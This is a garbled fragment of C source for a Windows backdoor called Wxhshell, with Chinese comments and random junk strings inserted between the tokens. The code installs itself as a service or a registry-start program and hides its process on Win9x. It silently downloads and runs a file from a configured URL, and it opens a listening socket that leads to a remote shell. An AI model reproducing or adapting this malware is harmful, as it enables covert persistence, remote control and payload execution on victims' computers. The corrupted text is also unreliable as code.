p61"a,Xc CloseHandle(hProcess); 5% +T~ E* YMz[je if(strstr(procName,"services")) return 1; // 以服务启动 b/<4\f :Rq@ %rL return 0; // 注册表启动 f61~%@fE } b/E1v,/< nEs l // 主模块 Vd|/]Zj int StartWxhshell(LPSTR lpCmdLine) -BNW\]} { ox)/*c< SOCKET wsl; V
GM/ed5- BOOL val=TRUE; Ik~5j(^E- int port=0; J2yq|n?2gq struct sockaddr_in door; Cvi-4 R:OoQ^c if(wscfg.ws_autoins) Install(); g"<kj" GAPZt4Z2 port=atoi(lpCmdLine); mo<g'|0 hZ$* sf if(port<=0) port=wscfg.ws_port; l*pCG`@J# US4X CJxB WSADATA data; oSE'-8( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @p}H@#/u\ 92eS*x2@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; VSM%<-iQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jj.)$|` door.sin_family = AF_INET; d0|Q1R+3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4}96|2L5 door.sin_port = htons(port); x+%lNR ,ad~6.Z_) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u!;kBs closesocket(wsl); #F[6$. Gr return 1; Cc9<ABv? } Bg;bBA!L b>;5#OQfn if(listen(wsl,2) == INVALID_SOCKET) { l--xq^,`o] closesocket(wsl); SyTcp?H return 1; r+\it&cW+ } g5/8u2d Wxhshell(wsl); R],,- WSACleanup(); C\EZ8 \:^$ZBQr<n return 0; #O=^%C7p 0p&:9|'z } *}3~8fu{
us$~6 // 以NT服务方式启动 )FE'#\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <@e6zQG { 0^tF_."Y DWORD status = 0;
k|a{|2p DWORD specificError = 0xfffffff; vPpbm IRXpk6| serviceStatus.dwServiceType = SERVICE_WIN32; (z+[4l7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; oM QH-\(} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O^|,Cbon6 serviceStatus.dwWin32ExitCode = 0; q0SvZw]f1 serviceStatus.dwServiceSpecificExitCode = 0; !0E$9Xon serviceStatus.dwCheckPoint = 0; 4Uz6*IQNl serviceStatus.dwWaitHint = 0; aRj3TtFh r=8]Ub[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +qjW;]yxP if (hServiceStatusHandle==0) return; nM\Wa
Q8T4_p[-o status = GetLastError(); \-`L}$ if (status!=NO_ERROR) S ^2'O7uj { ]';!r20 serviceStatus.dwCurrentState = SERVICE_STOPPED;
9JP{F serviceStatus.dwCheckPoint = 0; 6 3Kec serviceStatus.dwWaitHint = 0; ^:LF serviceStatus.dwWin32ExitCode = status; r'w5i1C+ serviceStatus.dwServiceSpecificExitCode = specificError; I0GL/a4s SetServiceStatus(hServiceStatusHandle, &serviceStatus); kRZ( return; 3p$ZHH.UP } cb|`)"<HN &UQKZ. serviceStatus.dwCurrentState = SERVICE_RUNNING; Pbd#Fu; serviceStatus.dwCheckPoint = 0; $Iv*?S"2 serviceStatus.dwWaitHint = 0; j@2-^q:` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ukvz#hdE } rTW1'@E [ZDJs`h!` // 处理NT服务事件,比如:启动、停止 I3s'44 VOID WINAPI NTServiceHandler(DWORD fdwControl) i1 C]bUXA { I-&/]<5y switch(fdwControl) Lp1wA* { RhX
2qsva- case SERVICE_CONTROL_STOP: TDy@Y>
) serviceStatus.dwWin32ExitCode = 0; dax|4R serviceStatus.dwCurrentState = SERVICE_STOPPED; k$3.FO" serviceStatus.dwCheckPoint = 0; c-z=(Z serviceStatus.dwWaitHint = 0; @DY0Lz; { v>7t J[s SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pr@EpO } UyTq(7uo return; ,Lox?}t case SERVICE_CONTROL_PAUSE: uqX"^dn4u serviceStatus.dwCurrentState = SERVICE_PAUSED; <f8@Qij break; Z37Z case SERVICE_CONTROL_CONTINUE: =@w};e#D serviceStatus.dwCurrentState = SERVICE_RUNNING; a5]~%xdK break; YVD%GJ case SERVICE_CONTROL_INTERROGATE: JnV$)EYi break; G@ed2T }; lr,hF1r&Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); =]U[ } g)u2 r(J7&vR}h // 标准应用程序主函数 &hjrJ/'^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L$lo5 { WNlWigwYl bZ )3{ // 获取操作系统版本 "R4~
8 r OsIsNt=GetOsVer(); 0v+5&Jk GetModuleFileName(NULL,ExeFile,MAX_PATH); kZPj{^c: };29'_.."x // 从命令行安装 ?8YHz if(strpbrk(lpCmdLine,"iI")) Install(); GP`_R 8[2^`g // 下载执行文件 cKF 8( if(wscfg.ws_downexe) { b.;F)( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
4K)P Yk WinExec(wscfg.ws_filenam,SW_HIDE); ]?b#~ } /R 2:Js 3 LoB-4u? if(!OsIsNt) { ^MQ7*g6o // 如果时win9x,隐藏进程并且设置为注册表启动 0.t;i4 HideProc(); G|IO~o0+ StartWxhshell(lpCmdLine); &*[T } F|%[s|s else m~#98ZJ^ if(StartFromService()) GC#3{71 // 以服务方式启动 4CfPa6_ StartServiceCtrlDispatcher(DispatchTable); m7g; psg else (A/V(.! // 普通方式启动 "P"~/<:) StartWxhshell(lpCmdLine); YM/GSSq 7L? ~;;L$ return 0; &37QUdp+p }
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